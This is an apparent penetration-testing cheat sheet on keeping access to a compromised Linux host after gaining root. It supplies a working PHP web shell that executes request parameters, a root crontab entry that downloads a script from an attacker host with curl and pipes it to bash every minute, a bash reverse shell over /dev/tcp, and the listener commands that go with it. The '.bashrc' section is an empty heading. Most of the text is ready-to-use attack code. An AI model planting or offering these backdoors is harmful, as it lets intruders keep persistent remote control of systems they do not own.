injecting Backdoors

If you got root and you want to set up a backdoor for later use.

PHP Backdoor

create a file shell.php && place it under /var/www/html 
------------------------------------------
<?php
    if (isset($_REQUEST['cmd'])) {
        echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
    }
?>
------------------------------------------
 access it directly using : http://ip/shell.php
 

Cronjob Backdoor

it is not hidden but it is useful.

cat /etc/crontab
echo '* *     * * *   root    curl http://<yourip>:8080/shell | bash' >> /etc/crontab


Now on kali :
make a file 'shell' with contents :
------------------------------------------
#!/bin/bash

bash -i >& /dev/tcp/ip/port 0>&1
------------------------------------------
and run --> python3 -m http.server 8080
as well as --> nc -nvlp <port>

.bashrc Backdoor

Last updated